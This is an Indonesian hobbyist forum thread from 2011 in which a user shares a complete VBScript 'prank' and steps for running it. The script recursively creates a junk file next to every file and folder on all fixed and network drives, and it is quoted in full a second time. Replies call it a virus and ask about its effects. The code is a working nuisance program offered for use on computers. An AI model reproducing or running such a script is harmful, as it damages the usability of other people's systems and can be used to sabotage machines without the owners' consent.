| | ISENG PAKE NOTEPAD |  |
|
+3Skyshin huseinNS coolingboy 7 posters |
| Author | Message |
|---|
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
 |  Subject: ISENG PAKE NOTEPAD  Sun Mar 06, 2011 12:31 pm | |
| ok cuy... intinya mengandakan / membuat duplikat semua file dan folder yang ada di komputer.... tapi tenang aja ukuran file duplikat juga gak segede file atow folder aslinya.... hanya namanya aja yang sama... ini script-nya cuy.... - Spoiler:
rem - rac0n dun14/ dew0byte-lamer
rem - Written on November 17th, 1985
On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")
orgMes="luv vina"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))
On Error Resume Next
dim drive,machine
set machine=FSobj.Drives
for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
indexFolders(drive.Path&"")
end If
next
sub indexFolders(location)
On Error Resume Next
dim specs,file,subFol,sayHello
set specs=FSobj.GetFolder(location)
set subFol=specs.SubFolders
for each file in subFol
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-dew0byte", 2, True)
sayHello.write finalMes
sayHello.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,sayHello
set folder=FSobj.GetFolder(location)
set directory=folder.Files
for each file in directory
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-team", 2, True)
sayHello.write finalMes
sayHello.Close
next
end sub
copy script dan paste di notepad... lalu save as terserah kalian beri nama apa, tapi ekstensinya harus .vbs setelah itu cari file tersebut dan silahkan double klik.... hahhahahhahah... manteb to... hmmmm... cara mbalikinya tinggal search aja pake searching bawaan windust.. semoga bermanfaat... maap hanya bagi ilmu saja.... tanggung jawab sepenuhnya ada ada anda.. | |
|
| | |
huseinNS
Warga
Jumlah posting : 33
Join date : 2011-03-05
| | Subject: Re: ISENG PAKE NOTEPAD Tue Mar 08, 2011 8:49 pm | |
| | |
|
| | |
Skyshin
Warga
Jumlah posting : 7
Join date : 2011-03-11
| | Subject: Re: ISENG PAKE NOTEPAD Fri Mar 11, 2011 5:43 pm | |
| wah virus yak  | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| |
| | |
buatgb
Warga
Jumlah posting : 1
Join date : 2011-03-12
| | Subject: Re: ISENG PAKE NOTEPAD Sat Mar 12, 2011 5:25 pm | |
| Nice share KK tq info nya | |
|
| | |
RieqyNS13
Moderator
Jumlah posting : 379
Join date : 2011-01-16
Age : 26
Lokasi : chmod 0655 GetConfig.SQL
| | Subject: Re: ISENG PAKE NOTEPAD Wed Mar 16, 2011 3:00 pm | |
| gan,efeknya apa gan ??  | |
|
| | |
Don Lego
Donatur
Jumlah posting : 96
Join date : 2011-01-12
Age : 30
Lokasi : Tangerang
| | Subject: Re: ISENG PAKE NOTEPAD Wed Mar 16, 2011 3:05 pm | |
| - coolingboy wrote:
- ok cuy...
intinya mengandakan / membuat duplikat semua file dan folder yang ada di komputer....
tapi tenang aja ukuran file duplikat juga gak segede file atow folder aslinya....
hanya namanya aja yang sama...
ini script-nya cuy....
- Spoiler:
rem - rac0n dun14/ dew0byte-lamer
rem - Written on November 17th, 1985
On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")
orgMes="luv vina"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))
On Error Resume Next
dim drive,machine
set machine=FSobj.Drives
for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
indexFolders(drive.Path&"")
end If
next
sub indexFolders(location)
On Error Resume Next
dim specs,file,subFol,sayHello
set specs=FSobj.GetFolder(location)
set subFol=specs.SubFolders
for each file in subFol
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-dew0byte", 2, True)
sayHello.write finalMes
sayHello.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub
sub writeData(location)
On Error Resume Next
dim folder,directory,file,sayHello
set folder=FSobj.GetFolder(location)
set directory=folder.Files
for each file in directory
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-team", 2, True)
sayHello.write finalMes
sayHello.Close
next
end sub
copy script dan paste di notepad...
lalu save as terserah kalian beri nama apa, tapi ekstensinya harus .vbs
setelah itu cari file tersebut dan silahkan double klik....
hahhahahhahah...
manteb to...
hmmmm... cara mbalikinya tinggal search aja pake searching bawaan windust..
semoga bermanfaat... maap hanya bagi ilmu saja.... tanggung jawab sepenuhnya ada ada anda..
gan efek virusnya apa?  | |
|
| | |
coolingboy
Warga Lama
Jumlah posting : 214
Join date : 2011-03-05
Age : 30
Lokasi : purwokerto
| | Subject: Re: ISENG PAKE NOTEPAD Wed Mar 16, 2011 9:26 pm | |
| efek nya hanya membuat duplikat data2 yg ada di kompi.. file nya kecil kok.. tp paling males waktu delete nya  | |
|
| | |
draigown
Warga Lama
Jumlah posting : 81
Join date : 2011-04-18
| | Subject: Re: ISENG PAKE NOTEPAD Thu Apr 28, 2011 4:35 pm | |
| trnyata pake notepad bs bkin banyak virus unik ya ^^ | |
|
| | |
Sponsored content
| | Subject: Re: ISENG PAKE NOTEPAD | |
| |
|
| | |
| | ISENG PAKE NOTEPAD | |
|
